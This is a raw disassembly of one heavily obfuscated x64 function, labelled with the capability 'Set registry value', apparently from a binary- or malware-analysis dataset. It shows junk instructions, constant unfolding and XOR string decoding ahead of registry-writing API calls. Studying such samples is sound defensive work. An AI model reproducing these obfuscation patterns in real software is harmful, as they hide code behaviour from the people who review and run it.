Function at 0x140046f10
Capabilities:
Set registry value

Disassembly:
xchg r10, rax
mov r10, rsp
xchg r10, rax
jmp 0x1400474cc
xchg rdi, r12
mov rdi, rdx
xchg r12, rdi
mov qword [rsp + 0x30], rcx
jmp 0x1400473d9
xchg rcx, rax
movaps xmmword [rax - 0x68], xmm8
mov r14, r14
movaps xmmword [rax - 0x78], xmm9
jmp 0x1400472eb
xchg r13, rsp
movups xmm0, xmmword [0x1401198f0]
mov rbp, rbp
movups xmmword [rsp + 0x70], xmm0
jmp 0x1400470a5
movdqa xmm7, xmmword [str.::::]
mov rbx, rbx
movd xmm8, eax
movdqa xmm9, xmmword [0x1401183c0]
lea rdx, [rsp + 0x50]
mov dword [rsp - 0x24], 0x4ebfcd47
movd xmm2, ecx
jmp 0x1400474ae
xor dword [rbp - 0x18], 0x548fba63
sub dword [rbp - 0x18], 0x14457cab
xor dword [rbp - 0x18], 0x6704660c
sub dword [rbp - 0x18], 0x3b28db46
xor dword [rbp - 0x18], 0x7944003e
add dword [rbp - 0x18], 0xd6fe2e6
jmp 0x140047449
nop
sub rsp, 8
mov qword [rsp], r13
nop
mov qword [rsp - 8], r14
sub rsp, 8
jmp 0x140046fe5
xchg rsp, rsp
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
jmp 0x1400472bb
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x3fd90e90
add rsp, 0x3fd90d10
xchg r10, rax
jmp 0x140047383
mov qword [rsi + 0x10], rax
xchg rsi, r15
mov rsi, r15
jmp 0x140047264
xchg rsi, rsi
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
mov r13, r13
mov eax, 0x3c73cadd
sub eax, 0x34df94f9
jmp 0x14004713f
mov dword [rsp - 0x38], 0x6ff6baf8
lea rax, [rax + rdi*2]
cmp rax, r15
jbe 0x1400474fd
mov dword [rsp - 0x44], 0x1383edf8
jmp 0x140047195
jb 0x140047062
xchg rbx, r15
mov rbx, qword [rsi]
xchg rbx, r15
lea r8, [rcx + rcx]
lea rax, [rsp + 0x50]
jmp 0x140047031
xchg rcx, r10
mov r10, r12
xchg r10, rcx
call fcn.1400ae120
xchg rdi, rdi
jmp 0x140047086
nop
lea rdx, [rbp - 0x60]
xchg rcx, rsi
jmp 0x140047348
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140046fd0
movups xmm1, xmmword [0x140119900]
movups xmmword [rbp - 0x80], xmm1
mov r11, r11
jmp 0x140047200
psrld xmm0, xmm8
mov dword [rsp - 0x2c], edx
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x140047244
mov dword [rsp - 0x38], 0xd007dc3
add edx, ecx
sar edx, 5
mov eax, edx
xchg rsi, rsi
shr eax, 5
shr eax, 0x12
jmp 0x140047278
lea eax, [r14 + 0x1f]
lea r15d, [r14 + 5]
xchg rbp, rbp
mov r13d, dword [0x1402557d0]
cmp r13d, 2
jl 0x140047013
jmp 0x140047222
pxor xmm3, xmm0
mov rbp, rbp
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
jmp 0x140047395
xor dword [rbp - 0x14], 0x1f895764
sub dword [rbp - 0x14], 0x63f89e21
lea rdx, [rbp + 0x10]
mov dword [rsp - 0x10], ebx
jmp 0x140047070
add eax, 0xd55a705
add eax, 0x1d4edf0e
xor eax, 0x58c23045
add eax, 0x22433f57
imul ecx
jmp 0x1400470cf
mov rax, rsi
xchg rsi, rax
movups xmm0, xmmword [str.bk__pkLHIYSJ__61_]
mov dword [rsp - 0x20], ecx
xchg rsp, r9
movups xmmword [r9 + 0x50], xmm0
xchg rsp, r9
jmp 0x1400472d7
jl 0x140047022
lea rax, [rsp + 0x50]
nop
movabs rdi, 0xffffffff0e71c546
jmp 0x14004747f
lea rax, [r15 + r8]
lea rcx, [rsp + 0x50]
cmp rcx, rax
mov dword [rsp - 0x14], ebx
ja 0x1400474fd
jmp 0x1400471dd
mov dword [rsp - 0x14], 0x6de06346
cmp ecx, 0x20
jl 0x140046f80
cmp ecx, 0x23
jge 0x140047180
jmp 0x140047010
mov r12, qword [rsi + 0x18]
xchg rdx, r12
xchg rbp, rax
jmp 0x140047301
lea rax, [rsp + 0x50]
cmp r15, rax
mov dword [rsp - 0x24], 0x660f4659
jbe 0x140047506
lea rax, [rsp + 0x50]
xchg r15, rdi
jmp 0x14004735d
mov eax, dword [0x140119910]
mov dword [rbp - 0x70], eax
movzx eax, word [0x140119914]
mov word [rbp - 0x6c], ax
mov rbx, rbx
xor r14d, r14d
mov ecx, r14d
jmp 0x1400470ec
movdqa xmm5, xmmword [0x140118390]
mov dword [rsp - 0x20], 0x2a3ca92d
movdqa xmm4, xmmword [0x1401199a0]
movd xmm6, r15d
jmp 0x140046f5a
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg r11, r11
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
jmp 0x140047338
xchg rsi, r15
cmp rdx, 8
mov dword [rsp - 0x44], 0x67fcfa66
jmp 0x140047053
shr eax, 7
shr eax, 1
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
jmp 0x14004729f
mov dword [rsp - 0x2c], edi
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x23
xchg rbx, rbx
jmp 0x14004717a
mov r11, r11
movzx eax, cx
sub ax, dx
neg ax
add ax, 0xffcf
neg ax
xor word [r8], ax
jmp 0x14004728a
mov rsp, rsp
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov rbx, rbx
paddd xmm0, xmm1
jmp 0x1400473b1
movups xmm1, xmmword [0x1401198e0]
xchg rsp, r13
movups xmmword [r13 + 0x60], xmm1
jmp 0x140046f43
mov rax, qword [0x1402557f0]
xor rax, rsp
mov qword [rbp + 0x30], rax
xchg rbx, rbx
jmp 0x140046f1c
mov rbp, rdx
xchg rbp, rax
sub rax, rcx
cmp rdi, rax
mov dword [rsp - 0x30], 0x6f41dc0b
ja 0x1400475a8
lea rax, [rcx + rdi]
jmp 0x140047001
mov dword [rsp - 0x10], 0x5d6459c7
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x1400470b8
mov r14, r14
paddw xmm3, xmm2
movq xmm0, qword [rdx]
jmp 0x14004710d
mov rsi, r12
xchg rcx, rsi
call fcn.140042fc0
xchg r14, r14
xchg rsi, rax
jmp 0x14004715a
mov r14, rdi
xchg r15, rdi
sub r14, rax
sar r14, 1
xchg rsi, rsi
jmp 0x140047506
xchg rdi, rcx
mov rdi, qword [rsi + 0x10]
xchg rcx, rdi
xchg r12, rdx
jmp 0x1400471cf
movaps xmmword [r10 - 0x48], xmm6
xchg r10, rax
xchg rcx, rax
movaps xmmword [rcx - 0x58], xmm7
jmp 0x140046f2f
pshufd xmm2, xmm2, 0
xchg r14, r14
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
xchg rbp, rbp
jmp 0x140047093
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov r8, r8
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x38], 0x17f16328
jmp 0x14004741c
mov dword [rsp - 0x18], esp
mov dword [rbp - 0x18], 0x746dd5d5
add dword [rbp - 0x18], 0x236bbb7
jmp 0x140046f89
push rbp
push rsi
xchg rdx, rdx
push rdi
push r12
jmp 0x140046fb8
pxor xmm3, xmm0
movq qword [rdx + 8], xmm3
nop
add ecx, 0x5c61975d
sub ecx, 0x5c619755
lea rdx, [rdx + 0x10]
jmp 0x1400471b0
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
mov dword [rsp - 0x40], ebp
jmp 0x1400473fd
inc rdi
mov r8, r8
cmp word [rax + rdi*2], r14w
jne 0x140047433
jmp 0x140047371
sub dword [rbp - 0x18], 0x646cd121
mov dword [rbp - 0x14], 0x626e7734
sub dword [rbp - 0x14], 0x20104298
sub dword [rbp - 0x14], 0x76f6b89
add dword [rbp - 0x14], 0x36b251a7
xor dword [rbp - 0x14], 0x74c578ba
add dword [rbp - 0x14], 0x770d6740
jmp 0x140047124
add rdi, 0x1af31f6b
xor rdi, 0x2426ecd6
xor rdi, 0x7625ee04
xor rdi, 0x4848c4f5
add rdi, 0x7fffffff
xor rdi, 0x4cd0dd6a
jmp 0x140047433
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
xchg r14, r14
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x1400474db
xchg r13, rbx
mov qword [rax + 0x18], r13
xchg r13, rbx
jmp 0x1400473f0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x14], 0x4c267562
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
jmp 0x140047323
xchg r14, rdi
mov rdi, r14
xchg rdi, r14
lea rcx, [r15 + rdi*2]
neg r8
jmp 0x140047563
sub r8, r14
xchg r12, r12
add r8, r8
jmp 0x140047593
mov rdx, r9
xchg r9, r15
call fcn.1400ead90
xchg rbx, rbx
lea rbx, [r14 + r14]
mov r8, rbx
jmp 0x140047553
lea r15d, [r14 + 5]
jmp 0x140047677
mov r15, rcx
xchg r15, rcx
call fcn.1400ead90
jmp 0x140047583
lea rdx, [rsp + 0x50]
xchg rdx, rdx
xchg r15, rcx
jmp 0x140047543
add r8, 0xfffffffffffffffe
neg r8
xchg r15, r9
jmp 0x140047520
call fcn.1400ead90
xor r14d, r14d
mov dword [rsp - 0xc], edx
jmp 0x14004753a
mov dword [rsp - 0x14], ecx
lea rcx, [rbx + r15]
mov r8, rdi
jmp 0x140047512
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x50]
mov r9, r9
lea rdx, [rdx + rax*2]
jmp 0x140047572
mov qword [rsp + 0x28], rdi
xchg r15, r15
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp - 0x18], edx
jmp 0x1400475d9
xchg rcx, rsi
call fcn.1400426c0
mov rdx, rdx
jmp 0x140047670
xchg r10, rdi
mov rdx, r10
xchg rdi, r10
xchg rcx, rsi
mov rsi, rcx
jmp 0x1400475c9
xchg r10, rbx
movups xmmword [r10], xmm6
xchg r10, rbx
xchg rbx, rbp
jmp 0x140047688
mov qword [rsi + 0x10], r14
mov dword [rsp - 0x40], 0x5e9d90d3
mov qword [rsi + 0x18], 0x13c431c1
add qword [rsi + 0x18], 0x4e8ae909
sub qword [rsi + 0x18], 0x3e6ccda1
jmp 0x140047647
cmp rbx, rax
je 0x1400476cd
xchg rcx, rbx
mov rbx, rcx
xchg rcx, rbx
call fcn.140043bd0
mov r12, r12
jmp 0x1400475ed
xor qword [rsi + 0x18], 0x2a52deae
xor qword [rsi + 0x18], 0x575ab8ac
add qword [rsi + 0x18], 0xede8d4e
sub qword [rsi + 0x18], 0x6dc8b872
mov word [rsi], r14w
jmp 0x1400476b2
xchg r15, rax
mov rsi, r15
xchg r15, rax
movups xmm6, xmmword [rsi]
xchg rbp, r12
movups xmmword [r12 - 0x40], xmm6
jmp 0x140047694
movups xmmword [rbp + 0x10], xmm7
xchg rbp, rbx
jmp 0x14004784d
xchg r12, rbp
xchg rsp, rsi
movups xmm7, xmmword [rsp + 0x10]
xchg rsp, rsi
xchg r8, rbp
movups xmmword [r8 - 0x30], xmm7
xchg r8, rbp
jmp 0x1400475ff
xchg rbx, rsi
mov rsi, qword [rsp + 0x30]
xchg rbx, rsi
add rbx, 8
xchg rbx, rbx
lea rax, [rbp - 0x40]
jmp 0x140047628
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14004784d
jmp 0x1400477c4
xchg r15, rax
cmp rdx, 0x1000
jb 0x140047764
mov rbp, rbp
add rdx, 0x27
mov rcx, qword [rcx - 8]
jmp 0x1400477b5
cmp rdx, 8
mov dword [rsp - 0x24], 0x7d855c2a
jb 0x14004771e
lea rdx, [rdx*2 + 2]
jmp 0x140047807
cmp qword [rbx + 0x18], 8
mov dword [rsp - 0x28], 0x1fe353d9
jb 0x140047734
mov rbx, qword [rbx]
lea r8, [rbp - 0x20]
mov rdx, rbx
xchg rcx, rcx
jmp 0x140047790
xor ebx, 0x5c157f52
add ebx, 0x26006fa
add ebx, 0x697f87d7
jmp 0x140048152
cmp rax, 0x1f
ja 0x140048357
call fcn.1400e8bd0
jmp 0x140047849
cmp rdx, 0x1000
mov dword [rsp - 0x44], 0x24910563
jb 0x140047887
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
jmp 0x140047870
nop
movabs rcx, 0xffffffff3ff6c35d
add rcx, 0xc411fc7
sub rcx, 0x1da4ebf5
xor rcx, 0x7b3dfeb0
jmp 0x140047856
sub rax, rcx
add rax, 0xfffffffffffffff8
xchg rdx, rdx
jmp 0x14004775a
mov dword [rsp - 0x40], edi
lea rdx, [rdx*2 + 2]
xchg rcx, r12
mov r12, qword [rbp - 0x40]
xchg r12, rcx
xchg r15, rax
mov r15, rcx
jmp 0x1400476e0
sub ebx, 0xce4b4ea
sub ebx, 0x24ed9401
sub ebx, 0x3a1adc9a
add ebx, 0x50377520
sub ebx, 0x4d4ea7b0
jmp 0x140047743
xchg r13, rcx
mov r13, qword [rbp - 0x60]
xchg r13, rcx
xchg r11, rcx
mov rax, r11
xchg r11, rcx
jmp 0x14004776e
add rcx, 0x7fffffff
xor rcx, 0x1b51a244
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp - 0x34], edx
test eax, eax
je 0x140047891
mov ebx, 0x71396360
jmp 0x1400477e4
mov rsi, rsi
nop
mov rdx, qword [rbp - 0x48]
jmp 0x1400476ff
xor rcx, 0x70ff7e72
xor rcx, 0x652bfb3a
xor rcx, 0x5b2a2e90
jmp 0x14004781f
mov rbp, rbp
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
mov rsi, rsi
ja 0x140048361
call fcn.1400e8bd0
jmp 0x14004771e
lea rdx, [rbp - 0x60]
xchg r15, r15
mov rcx, r12
jmp 0x140047eba
add r9d, 0x4d7fc700
add r9d, 0x148e9a8e
xor r9d, 0x2c566f40
add r9d, 0x150cf5f2
sub r9d, 0x59f1ea9f
add r9d, 0x210b6ae3
xor r9d, 0x2f9d5de7
jmp 0x140047cc8
xchg r8, rsp
movsd qword [r8 + 0x30], xmm0
xchg rsp, r8
movzx eax, word [0x140119948]
jmp 0x14004801d
mov rcx, qword [rbp - 0x20]
mov dword [rsp - 0x20], 0x1d56584c
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400480d6
mov r15, r15
mov rcx, qword [rbp - 0x20]
jmp 0x140047ecb
movsd xmm0, qword [str.u__DYWNvXW_]
xchg rdi, rsp
movsd qword [rdi + 0x30], xmm0
xchg rdi, rsp
mov eax, dword [0x140119920]
jmp 0x140047c51
sub r9d, 0x2b69207b
xor r8d, r8d
lea rdx, [rsp + 0x30]
jmp 0x1400478ee
add eax, 0x21d9fd40
add eax, 0x6340afad
imul r8d
jmp 0x140047fc7
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
mov dword [rsp - 0x44], ebp
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400479d7
lea r9d, [rcx - 0x50]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x18], ecx
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140047ddb
add r9d, 0x1aaaa7b3
xor r9d, 0x4b6fe8ac
xor r9d, 0x288f50c8
jmp 0x140047932
sub eax, 0x56a0332f
add eax, 0x3550f484
xor eax, 0x5b0007c5
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x32
mov rcx, rcx
jmp 0x140047b65
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x24], edi
pand xmm2, xmmword [0x1401183d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
jmp 0x140047baa
xor eax, 0x31b38342
mov word [rsp + 0x30], ax
xor word [rsp + 0x32], 0x32
xor word [rsp + 0x34], 0x33
xchg rcx, rcx
jmp 0x140047f7d
xor eax, 0x50798764
add eax, 0x4ef113e5
sub eax, 0x1b0d5b0a
sub eax, 0x349eddef
add eax, 0xd74b246
add eax, 0x2511ad0c
jmp 0x140047e36
cmovae rcx, qword [rbp + 0x10]
movups xmm0, xmmword [str.x_RSPfVLQ:]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140047ced
imul ecx, eax, 0x3a
movzx eax, r8b
xchg r15, r15
jmp 0x140047f20
mov qword [rsp + 0x20], r11
mov dword [rsp - 0x2c], 0x7d1593eb
mov r9d, 0x1d122762
jmp 0x1400478a0
xor r9d, 0x48c6c8d1
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x3c], 0x1ca8c5c6
jmp 0x140047e13
mov rcx, qword [rbp - 0x60]
xchg r11, rax
mov r11, rcx
xchg r11, rax
jmp 0x1400480a5
shr eax, 1
add edx, eax
mov dword [rsp - 0x20], ecx
movsx eax, dl
jmp 0x140047a50
sub eax, 0x35e45f51
add eax, 0xbc844ba
add eax, 0x52de9e27
sub eax, 0x69df71a0
jmp 0x140047946
mov dword [rsp + 0x38], eax
cmp word [0x14011995a], 0
je 0x140047f8f
jmp 0x140047ffa
mov dword [rsp - 0x30], 0x647235bd
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
jmp 0x140047f56
add dword [rsp + 0x28], 0x30c6672e
sub dword [rsp + 0x28], 0x6084d409
xor dword [rsp + 0x28], 0x5478239f
xor dword [rsp + 0x28], 0x75672fb3
add dword [rsp + 0x28], 0xc1a97a6
xor dword [rsp + 0x28], 0x39fe9134
jmp 0x140047c1e
xchg r15, rsp
movsd qword [r15 + 0x30], xmm0
xchg rsp, r15
mov eax, dword [0x140119958]
mov dword [rsp - 0x30], esp
jmp 0x140047acc
jne 0x1400480d6
mov eax, dword [rbp + 0x20]
lea edx, [rax + rax]
lea rcx, [rbp + 0x10]
mov r13, r13
cmp qword [rbp + 0x28], 8
jmp 0x140047a3a
xor word [rsp + 0x34], 0x33
xor word [rsp + 0x36], 0x34
xor word [rsp + 0x38], 0x35
jmp 0x140047df3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
mov r14, r14
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140047d9c
jb 0x140047d7b
mov rbx, rbx
lea rdx, [rdx*2 + 2]
jmp 0x140047a93
mov dword [rsp - 0x14], 0x15407144
movd xmm0, dword [str.u__DYWNvXW_]
pxor xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401183a0]
mov rdi, rdi
movdqa xmm1, xmm3
jmp 0x140047e76
add dword [rsp + 0x28], 0x28695ac0
sub dword [rsp + 0x28], 0x33e97a54
sub dword [rsp + 0x28], 0x252eaef0
add dword [rsp + 0x28], 0x5fdc2419
jmp 0x140047f39
sub r9d, 0x38a4d5c
sub r9d, 0x8e8109f
sub r9d, 0x267d6cc9
xor r9d, 0xfcbec98
jmp 0x14004799b
xor dword [rsp + 0x28], 0xa504e5d
lea rax, [rbp - 0x18]
xchg r10, r10
mov qword [rsp + 0x20], rax
jmp 0x14004797c
cmp r8d, 0xc
mov dword [rsp - 0x18], ecx
jl 0x140047d15
mov eax, dword [rbp]
mov dword [rsp + 0x28], eax
jmp 0x140047a5f
mov rdx, rdx
mov dword [rsp + 0x38], eax
cmp byte [0x140119923], 0
je 0x140047c45
xchg r13, r13
jmp 0x140047c9c
mov qword [rsp + 0x20], rdx
xchg rdx, rcx
mov r9d, 0x4425b976
xor r9d, 0x536765b0
add r9d, 0x2a601512
add r9d, 0x37ea3b20
xor r9d, 0x314be42b
jmp 0x140047a77
mov r8d, r14d
cmp r13d, 2
jl 0x140047f0f
mov dword [rsp - 0x28], 0x80b0154
movdqa xmm4, xmmword [0x1401199a0]
movd xmm6, r15d
mov eax, 0x4db80b06
jmp 0x140047a17
xor r8d, r8d
mov dword [rsp - 0x38], edx
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
mov dword [rsp - 0x20], 0x7ba72e22
jmp 0x140047b48
mov dword [rsp - 0x14], 0x78bc66b3
mov eax, dword [0x140119938]
mov dword [rsp + 0x40], eax
cmp word [0x14011993a], 0
jmp 0x140047d84
add r10, rax
nop word [rax + rax]
mov eax, 0x57df7084
xor eax, 0x1cdf71dc
sub eax, 0x1bff52c
jmp 0x140047ab3
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
mov r10, r10
pshuflw xmm0, xmm3, 0xd8
jmp 0x140047f9c
pmuldq xmm1, xmm4
mov dword [rsp - 0x10], 0x69c1ce6b
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x140047ae3
mov rdi, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004836f
mov r14, r14
call fcn.1400e8bd0
lea r11, [rbp - 0x10]
jmp 0x140047f6b
je 0x140047dbb
mov dword [rsp - 0x38], 0x6855c7d1
mov eax, 0x63224e09
jmp 0x140047dc7
psrld xmm0, xmm5
mov dword [rsp - 0x18], 0xf2d07d2
paddd xmm0, xmm1
jmp 0x140047d29
mov dword [rsp - 0x30], ecx
xor word [rsp + 0x42], 0x3a
mov dword [rsp + 0x28], edx
xchg rdx, rcx
jmp 0x140047c6d
add eax, 0x8814d8e
xor eax, 0x6426f42
add eax, 0xe6d5162
jmp 0x1400479b5
test eax, eax
xchg r12, r12
jne 0x1400480d6
movsd xmm0, qword [str.bFRFA6]
jmp 0x140047b2d
xchg r12, r12
xor word [rsp + 0x3a], 0x36
xor word [rsp + 0x3c], 0x37
xor word [rsp + 0x3e], 0x38
xor word [rsp + 0x40], 0x39
jmp 0x140047db1
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
mov dword [rsp - 0x28], edi
jne 0x1400480d6
movsd xmm0, qword [str.eKCQ5]
jmp 0x1400478d6
xor eax, 0x5448d836
xor eax, 0x1bc41e89
movd xmm5, eax
xchg r12, r12
jmp 0x140047fe5
xor ecx, 0x48d994c7
mov word [rsp + 0x30], cx
xor word [rsp + 0x32], 0x32
mov dword [rsp - 0x28], ebx
xor word [rsp + 0x34], 0x33
xor word [rsp + 0x36], 0x34
xor ax, 0x35
jmp 0x14004803f
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
mov dword [rsp - 0x14], 0x3615796c
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x140047b7c
call fcn.1400b5580
mov dword [rsp - 0x44], 0x53d654ac
nop
xchg rdx, r14
mov r14, qword [rbp - 0x48]
xchg r14, rdx
cmp rdx, 8
jmp 0x140047b94
call fcn.140042fc0
nop
mov rdi, rdi
xor r8d, r8d
jmp 0x1400480c6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
jmp 0x1400482d4
add r8d, 0x315bfbd8
xor r8d, 0x34f5d9f3
add r8d, 0x33897006
xor r8d, 0x499b1f37
add r8d, 0x5b138d0a
xor r8d, 0x46a9b6e5
jmp 0x140047f08
sub r8d, 0x20b3b091
mov eax, r8d
lea r10, [rsp + 0x30]
mov dword [rsp - 0x3c], edi
jmp 0x140047d0c
sub al, cl
sub al, 0x13
add al, 0x44
xor byte [r10], al
mov dword [rsp - 0x30], esi
inc r8d
lea r10, [r10 + 1]
jmp 0x140047c37
xor dword [rsp + 0x28], 0x4d07d956
xor dword [rsp + 0x28], 0x6c9ffeef
xor dword [rsp + 0x28], 0x2eb90c01
jmp 0x140048061
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov dword [rsp - 0x34], esi
psrld xmm0, xmm5
jmp 0x140047958
cmp qword [rbp + 8], 0x10
cmovae r11, qword [rbp - 0x10]
xchg r9, r9
jmp 0x140047914
xor word [rsp + 0x36], 0x34
xor word [rsp + 0x38], 0x35
xor word [rsp + 0x3a], 0x36
mov dword [rsp + 0x28], 0x3e4b2ba6
jmp 0x140047bd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x30], 0x4d22962e
pand xmm2, xmmword [0x1401183d0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
jmp 0x140048080
xchg r8, r8
add edx, r8d
sar edx, 5
mov eax, edx
mov dword [rsp - 0x2c], 0x3011d261
shr eax, 0x19
shr eax, 5
jmp 0x140047aa3
movdqa xmm2, xmmword [0x140118390]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x140047d43
mov eax, 0x719c32cc
sub eax, 0x1f873aff
xor eax, 0x2eba179f
sub eax, 0x67d8e9a1
add eax, 0x1f64b357
sub eax, 0x28726f7
jmp 0x1400479f9
mov ecx, 0x4ad8ee2f
add ecx, 0xc4eb349
sub ecx, 0x1452d6de
sub ecx, 0xf42df24
xor ecx, 0x7b487fe5
jmp 0x140047e4c
mov word [rsp + 0x38], ax
mov dword [rsp - 0x3c], 0x4ffbd8c6
mov dword [rsp + 0x28], 0x1c750f2b
add dword [rsp + 0x28], 0x19d4a99b
jmp 0x140047af8
sub dword [rsp + 0x28], 0x6259aa7f
lea rax, [rbp - 0x14]
mov rsi, rsi
mov qword [rsp + 0x20], rax
mov r9d, 0x5504e7b4
jmp 0x140047bfd
movd xmm0, dword [rsp + 0x34]
mov rdx, rdx
pxor xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 0x49dfccaa
sub r8d, 0x3f5598b6
jmp 0x140047ed9
cmp rdx, 0x1000
jb 0x140047d76
mov dword [rsp - 0x14], edx
sub rdx, 0xffffffffffffffd9
mov rcx, qword [rcx - 8]
sub rax, rcx
jmp 0x140047d62
xchg r13, rax
mov rdx, r13
xchg r13, rax
lea rcx, [rbp - 0x10]
jmp 0x140047e99
mov ebx, 0x6c165f94
sub ebx, 0x5851bea1
xor ebx, 0x748e64f9
sub ebx, 0x36cf6c35
sub ebx, 0x122b654
jmp 0x14004815b
nop
add rsp, 8
mov r15, qword [rsp - 8]
nop
mov r14, qword [rsp]
add rsp, 8
pop r13
jmp 0x140048282
sub rax, 8
cmp rax, 0x1f
ja 0x14004837a
mov dword [rsp - 0x2c], 0x459f7f09
call fcn.1400e8bd0
mov qword [rbp], r14
mov qword [rbp + 8], 0x39b33dc9
jmp 0x140048213
xor byte [rbp - 0x10], 0x54
xor byte [rbp - 0x10], 0x64
xor byte [rbp - 0x10], 0x77
xor byte [rbp - 0x10], 0x66
xor byte [rbp - 0x10], 0x13
mov rdx, qword [rbp + 0x28]
jmp 0x1400481e6
sub ebx, 0x17d601ac
add ebx, 0x40a98b34
xor ebx, 0x982c2a44
jmp 0x1400482d4
jb 0x140048128
nop
add rdx, 0x35bf6a6d
sub rdx, 0x35bf6a46
mov rcx, qword [rcx - 8]
sub rax, rcx
xchg r12, r12
jmp 0x140048112
mov rsi, qword [rsp - 8]
nop
add rsp, 8
mov rbp, qword [rsp - 8]
jmp 0x1400482d3
add rdx, 0xffffffffffffffd9
neg rdx
mov rcx, qword [rcx - 8]
sub rax, rcx
mov dword [rsp - 0xc], edi
nop
sub rax, 0xffffffff91adf3eb
jmp 0x14004831a
xchg rbx, rdi
xchg r11, r13
movaps xmm6, xmmword [r13 - 0x10]
jmp 0x14004829a
mov rbx, qword [rbp - 0x10]
xchg rcx, rbx
xchg rcx, rax
jmp 0x140048230
mov dword [rsp - 0x34], 0x56260ca0
cmp rdx, 8
jb 0x140048332
lea rdx, [rdx*2 + 2]
mov dword [rsp - 0x38], 0x72caa05e
mov rcx, qword [rbp + 0x10]
xchg r14, rax
jmp 0x1400482b6
add qword [rbp + 8], 0x25ea75ae
add qword [rbp + 8], 0x18ca2c64
xor qword [rbp + 8], 0x2f3e74db
jmp 0x140048259
mov rcx, rax
xchg rcx, rax
cmp rdx, 0x1000
mov dword [rsp - 0x18], esp
jmp 0x140048172
lea r11, [rsp + 0x180]
xchg rdi, rbx
mov rdi, qword [r11 + 0x50]
jmp 0x1400481c8
sub qword [rbp + 8], 0x4e6e29f1
add qword [rbp + 8], 0x56ed9f29
sub qword [rbp + 8], 0x5fd92029
mov byte [rbp - 0x10], 4
add byte [rbp - 0x10], 0x6f
xor byte [rbp - 0x10], 0x41
jmp 0x14004813e
mov r12, r12
pop r12
nop
mov rdi, qword [rsp]
add rsp, 8
nop
add rsp, 8
jmp 0x140048196
xchg r13, r11
xchg r11, r14
movaps xmm7, xmmword [r14 - 0x20]
xchg r14, r11
movaps xmm8, xmmword [r11 - 0x30]
mov dword [rsp - 0x20], edx
jmp 0x140048339
mov r14, rcx
xchg r14, rax
cmp rdx, 0x1000
mov rdx, rdx
jb 0x14004832d
neg rdx
jmp 0x1400481aa
ret
xchg rdx, rsp
mov rsp, qword [rbp + 8]
xchg rdx, rsp
jmp 0x140048302
xchg rcx, r11
mov r11, qword [rbp + 0x30]
xchg rcx, r11
xor rcx, rsp
mov dword [rsp - 0x1c], 0x1b034ec8
call fcn.1400e8cf0
jmp 0x140048245
cmp rdx, 0x10
jb 0x14004812d
inc rdx
xchg r10, r10
xchg rcx, rbx
jmp 0x1400481d8
add rax, 0xffffffff91adf3e3
